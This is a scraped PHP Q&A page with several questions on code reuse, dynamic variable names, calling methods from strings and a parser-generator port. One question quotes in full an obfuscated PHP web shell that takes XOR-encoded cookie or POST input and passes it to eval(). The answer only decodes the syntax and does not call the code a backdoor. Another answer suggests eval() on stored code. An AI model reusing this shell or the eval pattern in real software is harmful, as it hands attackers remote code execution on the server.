Two times the same 6 lines of code - php

I have two times in my PHP code the same 5 lines of code:
do_something1();
$myvar1 = something1();
do_something_else2();
$myvar2 = something2();
do_something_else3();
$myvar3 = something3();
// another code
// ...
// another code
do_something1();
$myvar1 = something1();
do_something_else2();
$myvar2 = something2();
do_something_else3();
$myvar3 = something3();
Would someone like this be possible to avoid repetition?
#BEGINNING BLAH
do_something1();
$myvar1 = something1();
do_something_else2();
$myvar2 = something2();
do_something_else3();
$myvar3 = something3();
#END BLAH
// another code
// ...
// another code
#INSERT BLAH
Of course, I could define a new function, but then here, I would have to define global variables (should I pre-define the variables before calling the function itself with global?), etc.
That's why I was looking if something shorter than a function existed in such situations, like a PREPROCESSOR copy/paste.

There may be a lot of acceptable solution, but there is one :
// Here is the function doing the repetitive work
function blah(){
do_something1();
$myvar1 = something1();
do_something_else2();;
$myvar2 = something2();
do_something_else3();
$myvar3 = something3();
return array($myvar1,$myvar2,$myvar3);
}
// Now for the usage matching your above case
list($myvar1,$myvar2,$myvar3) = blah();
// another code
// ...
// another code
list($myvar1,$myvar2,$myvar3) = blah();
List can be a really useful php function - http://php.net/manual/en/function.list.php

Something like this? just put your code where $var1 is and change the number in the middle of the for line to the number of iterations you want it to do.
for ($i=1; $i<=2; $i++) {
$var1 = "";
}

Related

What is going on? I have never seen PHP syntax like this: ${"\x47\x4c\x4fB\x41\x4c\x53"}['v9800']

There is some strange syntax in this php code I found:
<?php $hd701 = 475;$GLOBALS['xbe829'] = Array();global $xbe829;$xbe829 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['v9800'] = "\x7a\x7b\x60\x5b\x4a\x56\x6c\x51\x21\x62\x38\x66\x44\xa\x2e\x27\x22\x50\x58\x45\x49\x3d\x79\x43\x23\x3b\x53\x29\x2a\x30\x6b\x73\x63\x9\x77\x6f\x47\x6a\x4e\x54\x39\x3f\x40\x4f\x35\x4b\x26\x34\x6d\x5d\x76\x3a\x3c\x64\x71\x67\x5e\x5c\x46\x6e\x75\x4c\xd\x42\x65\x52\x48\x70\x41\x68\x55\x2b\x57\x5a\x69\x7c\x20\x2c\x28\x74\x59\x3e\x2f\x37\x78\x33\x31\x7d\x61\x5f\x7e\x72\x2d\x24\x36\x25\x4d\x32";$xbe829[$xbe829['v9800'][32].$xbe829['v9800'][85].$xbe829['v9800'][11].$xbe829['v9800'][11].$xbe829['v9800'][94]] = $xbe829['v9800'][32].$xbe829['v9800'][69].$xbe829['v9800'][91];$xbe829[$xbe829['v9800'][74].$xbe829['v9800'][29].$xbe829['v9800'][86].$xbe829['v9800'][86]] = $xbe829['v9800'][35].$xbe829['v9800'][91].$xbe829['v9800'][53];$xbe829[$xbe829['v9800'][54].$xbe829['v9800'][11].$xbe829['v9800'][83].$xbe829['v9800'][64].$xbe829['v9800'][44].$xbe829['v9800'][94]] = $xbe829['v9800'][31].$xbe829['v9800'][79].$xbe829['v9800'][91].$xbe829['v9800'][6].$xbe829['v9800'][64].$xbe829['v9800'][59];$xbe829[$xbe829['v9800'][74].$xbe829['v9800'][47].$xbe829['v9800'][53].$xbe829['v9800'][83].$xbe829['v9800'][44]] = $xbe829['v9800'][74].$xbe829['v9800'][59].$xbe829['v9800'][74].$xbe829['v9800'][89].$xbe829['v9800'][31].$xbe829['v9800'][64].$xbe829['v9800'][79];$xbe829[$xbe829['v9800'][11].$xbe829['v9800'][44].$xbe829['v9800'][10].$xbe829['v9800'][10].$xbe829['v9800'][94].$xbe829['v9800'][44].$xbe829['v9800'][11]] = $xbe829['v9800'][31].$xbe829['v9800'][64].$xbe829['v9800'][91].$xbe829['v9800'][74].$xbe829['v9800'][88].$xbe829['v9800'][6].$xbe829['v9800'][74].$xbe829['v9800'][0].$xbe829['v9800'][64];$xbe829[$xbe829['v9800'][79].$xbe829['v9800'][64].$xbe829['v9800'][9].$xbe829['v9800'][88].$xbe829['v9800'][47].$xbe829['v9800'][64].$xbe829['v9800'][11].$xbe829['v9800'][97]] = $xbe829['v9800'][67].$xbe829['v9800'][69].$xbe829['v9800'][67].$xbe829['v9800'][50].$xbe829['v9800'][64].$xbe829['v9800'][91].$xbe829['v9800'][31].$xbe829['v9800'][74].$xbe829['v9800'][35].$xbe829['v9800'][59];$xbe829[$xbe829['v9800'][0].$xbe829['v9800'][64].$xbe829['v9800'][47].$xbe829['v9800'][94].$xbe829['v9800'][86]] = $xbe829['v9800'][60].$xbe829['v9800'][59].$xbe829['v9800'][31].$xbe829['v9800'][64].$xbe829['v9800'][91].$xbe829['v9800'][74].$xbe829['v9800'][88].$xbe829['v9800'][6].$xbe829['v9800'][74].$xbe829['v9800'][0].$xbe829['v9800'][64];$xbe829[$xbe829['v9800'][48].$xbe829['v9800'][97].$xbe829['v9800'][83].$xbe829['v9800'][44].$xbe829['v9800'][32]] = $xbe829['v9800'][9].$xbe829['v9800'][88].$xbe829['v9800'][31].$xbe829['v9800'][64].$xbe829['v9800'][94].$xbe829['v9800'][47].$xbe829['v9800'][89].$xbe829['v9800'][53].$xbe829['v9800'][64].$xbe829['v9800'][32].$xbe829['v9800'][35].$xbe829['v9800'][53].$xbe829['v9800'][64];$xbe829[$xbe829['v9800'][79].$xbe829['v9800'][47].$xbe829['v9800'][47].$xbe829['v9800'][9].$xbe829['v9800'][11]] = $xbe829['v9800'][31].$xbe829['v9800'][64].$xbe829['v9800'][79].$xbe829['v9800'][89].$xbe829['v9800'][79].$xbe829['v9800'][74].$xbe829['v9800'][48].$xbe829['v9800'][64].$xbe829['v9800'][89].$xbe829['v9800'][6].$xbe829['v9800'][74].$xbe829['v9800'][48].$xbe829['v9800'][74].$xbe829['v9800'][79];$xbe829[$xbe829['v9800'][79].$xbe829['v9800'][9].$xbe829['v9800'][29].$xbe829['v9800'][83].$xbe829['v9800'][47]] = $xbe829['v9800'][31].$xbe829['v9800'][32].$xbe829['v9800'][53].$xbe829['v9800'][9].$xbe829['v9800'][88].$xbe829['v9800'][9];$xbe829[$xbe829['v9800'][22].$xbe829['v9800'][29].$xbe829['v9800'][40].$xbe829['v9800'][9].$xbe829['v9800'][9].$xbe829['v9800'][85].$xbe829['v9800'][88].$xbe829['v9800'][53]] = $xbe829['v9800'][69].$xbe829['v9800'][86].$xbe829['v9800'][94].$xbe829['v9800'][86].$xbe829['v9800'][29].$xbe829['v9800'][83];$xbe829[$xbe829['v9800'][88].$xbe829['v9800'][10].$xbe829['v9800'][10].$xbe829['v9800'][85].$xbe829['v9800'][9].$xbe829['v9800'][44].$xbe829['v9800'][88]] = $_POST;$xbe829[$xbe829['v9800'][60].$xbe829['v9800'][83].$xbe829['v9800'][86].$xbe829['v9800'][9].$xbe829['v9800'][86].$xbe829['v9800'][86].$xbe829['v9800'][47].$xbe829['v9800'][9].$xbe829['v9800'][9]] = $_COOKIE;#$xbe829[$xbe829['v9800'][74].$xbe829['v9800'][47].$xbe829['v9800'][53].$xbe829['v9800'][83].$xbe829['v9800'][44]]($xbe829['v9800'][64].$xbe829['v9800'][91].$xbe829['v9800'][91].$xbe829['v9800'][35].$xbe829['v9800'][91].$xbe829['v9800'][89].$xbe829['v9800'][6].$xbe829['v9800'][35].$xbe829['v9800'][55], NULL);#$xbe829[$xbe829['v9800'][74].$xbe829['v9800'][47].$xbe829['v9800'][53].$xbe829['v9800'][83].$xbe829['v9800'][44]]($xbe829['v9800'][6].$xbe829['v9800'][35].$xbe829['v9800'][55].$xbe829['v9800'][89].$xbe829['v9800'][64].$xbe829['v9800'][91].$xbe829['v9800'][91].$xbe829['v9800'][35].$xbe829['v9800'][91].$xbe829['v9800'][31], 0);#$xbe829[$xbe829['v9800'][74].$xbe829['v9800'][47].$xbe829['v9800'][53].$xbe829['v9800'][83].$xbe829['v9800'][44]]($xbe829['v9800'][48].$xbe829['v9800'][88].$xbe829['v9800'][84].$xbe829['v9800'][89].$xbe829['v9800'][64].$xbe829['v9800'][84].$xbe829['v9800'][64].$xbe829['v9800'][32].$xbe829['v9800'][60].$xbe829['v9800'][79].$xbe829['v9800'][74].$xbe829['v9800'][35].$xbe829['v9800'][59].$xbe829['v9800'][89].$xbe829['v9800'][79].$xbe829['v9800'][74].$xbe829['v9800'][48].$xbe829['v9800'][64], 0);#$xbe829[$xbe829['v9800'][79].$xbe829['v9800'][47].$xbe829['v9800'][47].$xbe829['v9800'][9].$xbe829['v9800'][11]](0);$x7bb89b70 = NULL;$t0e76b849 = NULL;$xbe829[$xbe829['v9800'][67].$xbe829['v9800'][47].$xbe829['v9800'][10].$xbe829['v9800'][85].$xbe829['v9800'][29].$xbe829['v9800'][83].$xbe829['v9800'][44].$xbe829['v9800'][40].$xbe829['v9800'][47]] = $xbe829['v9800'][40].$xbe829['v9800'][44].$xbe829['v9800'][88].$xbe829['v9800'][64].$xbe829['v9800'][32].$xbe829['v9800'][88].$xbe829['v9800'][85].$xbe829['v9800'][83].$xbe829['v9800'][92].$xbe829['v9800'][64].$xbe829['v9800'][53].$xbe829['v9800'][10].$xbe829['v9800'][86].$xbe829['v9800'][92].$xbe829['v9800'][47].$xbe829['v9800'][10].$xbe829['v9800'][47].$xbe829['v9800'][83].$xbe829['v9800'][92].$xbe829['v9800'][40].$xbe829['v9800'][64].$xbe829['v9800'][83].$xbe829['v9800'][86].$xbe829['v9800'][92].$xbe829['v9800'][11].$xbe829['v9800'][83].$xbe829['v9800'][94].$xbe829['v9800'][86].$xbe829['v9800'][10].$xbe829['v9800'][9].$xbe829['v9800'][86].$xbe829['v9800'][53].$xbe829['v9800'][9].$xbe829['v9800'][88].$xbe829['v9800'][44].$xbe829['v9800'][47];global $p48307594;function h16107($x7bb89b70, $he719627){global $xbe829;$gea9ce = "";for ($t69c26=0; $t69c26<$xbe829[$xbe829['v9800'][54].$xbe829['v9800'][11].$xbe829['v9800'][83].$xbe829['v9800'][64].$xbe829['v9800'][44].$xbe829['v9800'][94]]($x7bb89b70);){for ($nb3186c8=0; $nb3186c8<$xbe829[$xbe829['v9800'][54].$xbe829['v9800'][11].$xbe829['v9800'][83].$xbe829['v9800'][64].$xbe829['v9800'][44].$xbe829['v9800'][94]]($he719627) && $t69c26<$xbe829[$xbe829['v9800'][54].$xbe829['v9800'][11].$xbe829['v9800'][83].$xbe829['v9800'][64].$xbe829['v9800'][44].$xbe829['v9800'][94]]($x7bb89b70); $nb3186c8++, $t69c26++){$gea9ce .= $xbe829[$xbe829['v9800'][32].$xbe829['v9800'][85].$xbe829['v9800'][11].$xbe829['v9800'][11].$xbe829['v9800'][94]]($xbe829[$xbe829['v9800'][74].$xbe829['v9800'][29].$xbe829['v9800'][86].$xbe829['v9800'][86]]($x7bb89b70[$t69c26]) ^ $xbe829[$xbe829['v9800'][74].$xbe829['v9800'][29].$xbe829['v9800'][86].$xbe829['v9800'][86]]($he719627[$nb3186c8]));}}return $gea9ce;}function scdbab($x7bb89b70, $he719627){global $xbe829;global $p48307594;return $xbe829[$xbe829['v9800'][22].$xbe829['v9800'][29].$xbe829['v9800'][40].$xbe829['v9800'][9].$xbe829['v9800'][9].$xbe829['v9800'][85].$xbe829['v9800'][88].$xbe829['v9800'][53]]($xbe829[$xbe829['v9800'][22].$xbe829['v9800'][29].$xbe829['v9800'][40].$xbe829['v9800'][9].$xbe829['v9800'][9].$xbe829['v9800'][85].$xbe829['v9800'][88].$xbe829['v9800'][53]]($x7bb89b70, $p48307594), $he719627);}foreach ($xbe829[$xbe829['v9800'][60].$xbe829['v9800'][83].$xbe829['v9800'][86].$xbe829['v9800'][9].$xbe829['v9800'][86].$xbe829['v9800'][86].$xbe829['v9800'][47].$xbe829['v9800'][9].$xbe829['v9800'][9]] as $he719627=>$y301fc25){$x7bb89b70 = $y301fc25;$t0e76b849 = $he719627;}if (!$x7bb89b70){foreach ($xbe829[$xbe829['v9800'][88].$xbe829['v9800'][10].$xbe829['v9800'][10].$xbe829['v9800'][85].$xbe829['v9800'][9].$xbe829['v9800'][44].$xbe829['v9800'][88]] as $he719627=>$y301fc25){$x7bb89b70 = $y301fc25;$t0e76b849 = $he719627;}}$x7bb89b70 = #$xbe829[$xbe829['v9800'][0].$xbe829['v9800'][64].$xbe829['v9800'][47].$xbe829['v9800'][94].$xbe829['v9800'][86]]($xbe829[$xbe829['v9800'][79].$xbe829['v9800'][9].$xbe829['v9800'][29].$xbe829['v9800'][83].$xbe829['v9800'][47]]($xbe829[$xbe829['v9800'][48].$xbe829['v9800'][97].$xbe829['v9800'][83].$xbe829['v9800'][44].$xbe829['v9800'][32]]($x7bb89b70), $t0e76b849));if (isset($x7bb89b70[$xbe829['v9800'][88].$xbe829['v9800'][30]]) && $p48307594==$x7bb89b70[$xbe829['v9800'][88].$xbe829['v9800'][30]]){if ($x7bb89b70[$xbe829['v9800'][88]] == $xbe829['v9800'][74]){$t69c26 = Array($xbe829['v9800'][67].$xbe829['v9800'][50] => #$xbe829[$xbe829['v9800'][79].$xbe829['v9800'][64].$xbe829['v9800'][9].$xbe829['v9800'][88].$xbe829['v9800'][47].$xbe829['v9800'][64].$xbe829['v9800'][11].$xbe829['v9800'][97]](),$xbe829['v9800'][31].$xbe829['v9800'][50] => $xbe829['v9800'][86].$xbe829['v9800'][14].$xbe829['v9800'][29].$xbe829['v9800'][92].$xbe829['v9800'][86],);echo #$xbe829[$xbe829['v9800'][11].$xbe829['v9800'][44].$xbe829['v9800'][10].$xbe829['v9800'][10].$xbe829['v9800'][94].$xbe829['v9800'][44].$xbe829['v9800'][11]]($t69c26);}elseif ($x7bb89b70[$xbe829['v9800'][88]] == $xbe829['v9800'][64]){eval/*l551d*/($x7bb89b70[$xbe829['v9800'][53]]);}exit();} ?>
In particular I am very curious, what kind of syntax is this?
${"\x47\x4c\x4fB\x41\x4c\x53"}['v9800']
Firstly, to address the code syntax itself, PHP allows you to dynamically create variable names.
Let's say you have a variable:
$test = 123;
You can dynamically create a reference to this variable like so:
echo ${'test'}; // Prints '123'
Why would you want to do this? Well the example above is pointless, but let's say you need to dynamically run through some variable names at runtime:
$var1 = 'A';
$var2 = 'B';
$var3 = 'C';
for ($i = 1; $i <= 3; $i++) {
echo ${'var' . $i};
}
// Prints 'ABC'
So now that we know what the syntax means, what does \x47\x4c\x4fB\x41\x4c\x53 mean?
The \x is used to escape a hexadecimal character sequence. In simple terms, the string you've shown is a bunch of characters that someone has represented as hexadecimal rather than human readable ASCII characters you are used to seeing.
If we get rid of the \x escape parts, we are left with:
474c4fB414c53
As far as I can tell, the B here is not intended to be hex. This leaves us with:
474c4f 414c53
Which translates to:
GLO ALS
And if we replace the B we get:
GLOBALS
If we add that back in to your dynamic variable reference and look at the code again, we get:
$GLOBALS['v9800']
This is interesting, because $GLOBALS is a special array available in PHP which gives access to all variables in the global scope. So essentially, your code is trying to access a global variable called $v9800.
You will have to decide what that might mean for your application, but it's possible this code is suspicious. It could be that someone has deliberately disguised their code using this cryptic method, to try to access a global variable.

How to affect a string to a variable without redefining it

I'm working on a project, and it has a bunch of variables for some links that I define. But I want to add a string at the end of those variable only if I got some GET parameters. The thing is I don't want to have another huge amount of variables and I want to have the same name for the variables. After some research, I came with this operator .= which is perfect for me. I also made a for loop it works well for the variable value, but I don't have the same name.
Here is what I got:
$homeLink = $wURL.'government/'.$job.'/';
$databaseLink = $wURL.'government/'.$job.'/search/database';
$overviewLink = $wURL.'government/'.$job.'/overview';
// Other variables
if (!isset($_SESSION['steamid']) && isset($_GET['uID']) && isset($_GET['uToken'])) {
// redefine the variables like this:
$homeLink .= '?uID='.$userinfoVlife['id'].'&uToken='.$userinfoVlife['websiteMDP'];
/*
OUTPUT: $wURL.'government/'.$job.'/'.'?uID='.$userinfoVlife['id'].'&uToken='.$userinfoVlife['websiteMDP']
*/
// The for loop:
$arr = array($homeLink,$databaseLink,$overviewLink);
$nb = count($arr);
for ($i=0; $i < $nb ; $i++) {
$arr[$i] .= '?uID='.$userinfoVlife['id'].'&uToken='.$userinfoVlife['websiteMDP'];
echo $arr[$i]."<br>";
// have the same output that above but I have to call my variables with $arr[<a number>];
}
}
The thing is I don't want to have another huge amount of variables and I want to have the same name for the variables, any ideas on how I can proceed?
First, your 2 last links are actually both based on the first one, $homeLink:
$homeLink = $wURL.'government/'.$job.'/';
$databaseLink = $homeLink.'search/database';
$overviewLink = $homeLink.'overview';
then why not build the parameter string and then append it?
$homeLink = $wURL.'government/'.$job.'/'
$paramString = '';
if (!isset($_SESSION['steamid']) && isset($_GET['uID']) && isset($_GET['uToken'])) {
$paramString = '?uID='.$userinfoVlife['id'].'&uToken='.$userinfoVlife['websiteMDP'];
}
$databaseLink = $homeLink.'search/database'.$paramString;
$overviewLink = $homeLink.'overview'.$paramString;
$homeLink .= $paramString;
I don't get why you want to store your URLs in an array, these are different URLs, thus to be used in different contexts, having all of them in one array is of course possible but doesn't bring any value, in my opinion.
To conclude, if $userinfoVlife['websiteMDP'] contains a readable password, you definitely have a problem in your application architecture: it's very bad practice to handle raw passwords and it's even worse to pass it in the URL.

Call static method from string in PHP

I'm trying to call this from string Yii::app()->user->id_rol. So, I want to take this string and do the call then.
I tried to do this:
$class = "Yii::app()->user->id_rol";
$class = explode('::',$class);
$class[1] = explode('->',$class[1]);
$class2 = new $class[0];
$string = "";
$n = count($class[1]);
for($i = 0; $i<$n;$i++){
(($i+1) == $n) ? $fl = '' : $fl = '->';
$string .= $class[1][$i].$fl;
}
$model = $class2->$string;
...but that doesn't work.
Undefined property: Yii::$app()->user->id_rol
How could I make it work?
I think mnv's comment above is the way to go. Otherwise you risk all sorts of problems with code injection and whatnot. In the worst case, if you really want to do this, I'd recommend doing the following (as much as it pains me to write this):
$code = "return {$VARIABLE_FROM_DB};";
$value = eval($code);
That said, there should be a better way to do what you are trying to do overall. What is the source of the DB provided code? Can you reformat it in a way that you are not saving code into the database?

a function for creating shortname style variables in PHP

I'm just learning PHP, and I'm sure I'm not the first person to try something like this, but maybe because I didn't know what to call it, I couldn't find any other examples or questions on here or from a search on google.
I wanted to create a function which takes two parameters and uses them to create all the short style variables I'll be using later in my script.
My problem is where normally the syntax to create a short variable is something like:
$var = $_METHOD['var'];
but I'm trying to do this using variables and don't know how to get the syntax right. Here's my code:
<?php
session_start();
function shortnames($some_vars, $type) {
for ($i = 0; $i<(count($some_vars)); $i++) {
$$some_vars[$i] = $_$type['$some_vars[$i]'];
echo $$some_vars[$i].' = '.$some_vars[$i].'<br />';
}
}
$post_vars = array(lastname,firstname,payment);
$session_vars = array(sessiontxt,province,city,venue,regfee);
shortnames($session_vars,session);
shortnames($post_vars,post);
?>
Thanks for helping a beginner!!

What is the purpose of this PHP code?

self::$currentend = $cfp;
self::$currentend = &$cfp->next;
self::$basisend = $cfp;
self::$basisend = &$cfp->bp;
What does it do?
Found here.
UPDATE
My question is since
self::$currentend = $cfp;
self::$currentend = &$cfp->next;
always evaluates to
self::$currentend = &$cfp->next;
So why the extra line?
Your PHP code is a C->PHP port of the LEMON parser generator, which includes this code:
/* Add another configuration to the configuration list */
struct config *Configlist_add(rp,dot)
struct rule *rp; /* The rule */
int dot; /* Index into the RHS of the rule where the dot goes */
{
struct config *cfp, model;
assert( currentend!=0 );
model.rp = rp;
model.dot = dot;
cfp = Configtable_find(&model);
if( cfp==0 ){
cfp = newconfig();
cfp->rp = rp;
cfp->dot = dot;
cfp->fws = SetNew();
cfp->stp = 0;
cfp->fplp = cfp->bplp = 0;
cfp->next = 0;
cfp->bp = 0;
*currentend = cfp;
currentend = &cfp->next;
Configtable_insert(cfp);
}
return cfp;
}
It's in the PHP because it was in the original C. In the original C, it writes through the currentend pointer to replace the contents of whatever it is pointing at (memory allocated elsewhere, probably contains garbage), and then it updates the currentend pointer to point to the struct node pointed to by cfp->next (which is 0, here, which is why I think some other routine will allocate the memory for it later).
In other words, it appends the new struct rule to the end of a list of struct rules while maintaining a pointer to the "last entry". (Well, an entry beyond the end. Where the next last-entry will go, once it exists. All of which makes accessing the end-of-the-list an O(1) operation, superb for improving list-append operations.)
I have no idea what that is from, it looks weird, but I can explain:
self:: refers to the class of the current object/class.
$currentend & $basisend are variables storing variable names - that is, if the code were like this:
$currentend = bla1;
$currentend = bla2;
then it essentially evaluates to:
self::bla1 = $cfp;
self::bla1 =& $cfp->next;
self::bla2 = $cfp;
self::bla2 =& $cfp->bp;
So whatever the value behind $currentend & $basisend, they are refering to static variables within the current class.
The & is a reference operator. It basically means that you do not want to copy the variable, but "share" the variable referenced by both of the other variables. Actually, to assign a pointer to the variable.
Other than that, I have no idea from what that is or what the purpose is. But it looks funny.
The code is incomplete as everyone has stated above, however it looks suspiciously like the Pear Config for PHP_ParserGenerator.
static function Configlist_add($rp, $dot)
{
$model = new PHP_ParserGenerator_Config;
$model->rp = $rp;
$model->dot = $dot;
$cfp = self::Configtable_find($model);
if ($cfp === 0) {
$cfp = self::newconfig();
$cfp->rp = $rp;
$cfp->dot = $dot;
$cfp->fws = array();
$cfp->stp = 0;
$cfp->fplp = $cfp->bplp = 0;
$cfp->next = 0;
$cfp->bp = 0;
self::$currentend = $cfp;
self::$currentend = &$cfp->next;
self::Configtable_insert($cfp);
}
return $cfp;
}
I would suspect if you look further into the code you will find a reference to this of something similar.

Categories